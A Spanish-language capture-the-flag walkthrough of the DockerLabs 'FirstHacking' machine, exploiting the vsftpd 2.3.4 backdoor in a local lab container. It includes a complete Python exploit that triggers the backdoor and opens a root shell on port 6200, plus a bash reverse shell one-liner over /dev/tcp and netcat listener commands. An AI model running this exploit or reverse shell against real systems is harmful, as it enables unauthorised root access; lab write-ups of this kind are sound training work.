Muy Facil Dockerlabs

25 de noviembre de 2025

DockerLabs: Máquina FirstHacking

Resolución de la máquina FirstHacking de DockerLabs, explotando la vulnerabilidad de Backdoor Command Execution en vsftpd 2.3.4 para obtener acceso root directo y establecer una shell estable.

FTP vsftpd 2.3.4 Backdoor Remote Command Execution Netcat Python
Imagen de portada para DockerLabs: Máquina FirstHacking

Ejecución de Maquina

Descomprimimos el archivo y ejecutamos la maquina en una estructuración de carpeta a nuestro gusto:

mkdir FirstHacking && cd FirstHacking
mv ~/Descargas/firsthacking.zip .

7z x firsthacking.zip 
---------------------------------------------------------------------
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 110060777 bytes (105 MiB)

Extracting archive: firsthacking.zip
--
Path = firsthacking.zip
Type = zip
Physical Size = 110060777

Everything is Ok       

Files: 2
Size:       273444608
Compressed: 110060777
Ejecución
sudo bash auto_deploy.sh firsthacking.tar 
----------------------------------------------------------------------
Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Con esto podemos empezar a ver todo lo que tiene que ver con respecto a las vulnerabilidades de esta maquina… ¡Vamos a ello!


Reconocimiento de Puertos

Generamos las dos carpetas necesarias para poder guardar la información importante del escaneo

mkdir walkthrough
mkdir walkthrough/nmap

cd walkthrough/nmap

Aplicamos el truco del ttl, si el resultado es 64 sabemos que es una maquina Linux, si es 128 es una maquina Windows

ping -c 4 172.17.0.2
---------------------------------------------------------------------               
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.370 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.054 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.077 ms

--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3066ms
rtt min/avg/max/mdev = 0.054/0.141/0.370/0.132 ms

Con esto sabemos que nos referimos a una maquina Linux, por lo cual ya utilizamos nmap para ver unos últimos detalles

nmap -sVC -sS -p- -Pn 172.17.0.2 -oN resultado.txt
-----------------------------------------------------------------------------------------------
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 22:43 -05
Nmap scan report for 172.17.0.2
Host is up (0.000012s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.43 seconds

Aquí nos encontramos con una maquina diferente con respecto a las anteriores, en este caso nos encontramos únicamente con el puerto 21 abierto, un ftp en una versión muy antigua, en este caso podríamos explotar esta versión con metasploit y facilitar la tarea, sin embargo vamos a desglosar esto un poco más.


Explotación con Escalada de Privilegio

Como dijimos anteriormente podríamos utilizar metasploit para facilitar el trabajo de explotación, esto podemos hacerlo utilizando searchsploit, siendo que nos arroja dos resultados curiosos:

searchsploit "vsftpd 2.3.4" 
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                            |  Path
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                                                                                 | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                    | unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Como podemos ver existen dos versiones de ejecución, un código de Python hecho por un usuario y un código de ruby del programa de metasploit, aunque es cierto que podríamos analizar el código de python y ver de que todo funcione correctamente, lo ideal sería intentar hacerlo nosotros de forma manual. Para ello en un archivo llamado reverse-shell.py escribiremos el siguiente codigo:

# Esto es un codigo personal de ejecución para romper
# La versión de Ftp vsftpd 2.3.4

import socket
import sys

def ejecutar_backdoor(host, port = 21):
	# Enviamos el payload de USER con :) para activar el backdoor
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	print("[+] Conectandose al servicio FTP")

	# Recibir banner inicial
	banner = s.recv(1024).decode()
	print("[+] Banner:", banner.strip())

	# Mandar usuario malicioso
	s.sendall(b"USER backdoor:)\r\n")
	resp = s.recv(1024).decode()
	print("[+] Respuesta del USER:", resp.strip())

	# Mandar cualquier contraseña
	s.sendall(b"PASS loquesea\r\n")
	print("[+] Payload enviado, cerrando la conexión FTP")
	s.close()


def conectar_shell(host, port=6200):
	# Conectamos al puerto 6200 que expone un shell interactivo
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	print("[+] Conectando a la shell en puerto 6200\n")

	try:
		while True:
			cmd = input("bash$ ")
			if cmd.strip().lower() in ["exit", "quit"]:
				break

			s.sendall(cmd.encode() + b" 2>&1\n")
			data = s.recv(4096).decode(errors="ignore")
			print(data.strip())

	except KeyboardInterrupt:
		print("\n[!] Saliendo...")

	finally:
		s.close()

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print(f"Uso: {sys.argv[0]} <host>")
		sys.exit(1)

	target = sys.argv[1]
	ejecutar_backdoor(target)
	conectar_shell(target)

Con esto a la hora de ejecutarlo podemos establecer la conexión con la maquina victima, lo hacemos sabiendo que esta versión de ftp permite la conexión al puerto 6200 de forma malintencionada con el uso de :) al final del ingreso de cualquier usuario que nosotros ingresemos. De esta manera finalmente podríamos establecer la conexión con la maquina:

python script_propio_backdoor.py 172.17.0.2
------------------------------------------------------------
[+] Conectandose al servicio FTP
[+] Banner: 220 (vsFTPd 2.3.4)
[+] Respuesta del USER: 331 Please specify the password.
[+] Payload enviado, cerrando la conexión FTP
[+] Conectando a la shell en puerto 6200

bash$ whoami
root

Ahora, pese a que podríamos seguir utilizando esta shell, se trata de una versión muy arcaica, por lo cual en mi caso probare con una reverse shell manual utilizando netcat, para poder probarla de la mejor manera posible:

nc -nlvp 4444
listening on [any] 4444 ...

# Maquina con conexión establecida
bash$ script /dev/null -c bash
Script started, file is /dev/null
bash$ bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
root@d4c0e768514e:~/vsftpd-2.3.4#
Resultado
nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 39412
root@d4c0e768514e:~/vsftpd-2.3.4# 

Ahora simplemente estabilizamos de mejor manera la terminal para que no nos de ningun inconveniente al listar o modificar archivos internos en caso de una practica un poco más realista. Por lo cual con Ctrl + z suspendemos el proceso para finalmente estabilizarla

root@d4c0e768514e:~/vsftpd-2.3.4# script /dev/null -c bash
root@d4c0e768514e:~/vsftpd-2.3.4 # ^Z
zsh: suspended  nc -nlvp 4444
                                                                                                                                                                                                                                            
stty raw -echo; fg
[1]  + continued  nc -nlvp 4444
                               reset XTERM

root@d4c0e768514e:~/vsftpd-2.3.4# export TERM=xterm
root@d4c0e768514e:~/vsftpd-2.3.4# export SHELL=bash

Y con esto hemos finalizado la maquina, aunque es verdad de que nos encontramos con los permisos de administrador una vez nos conectamos es raro que en la realidad sea de esta manera, sin embargo, incluso así hemos realizado un ataque bastante interesante para una maquina muy facil de DockerLabs.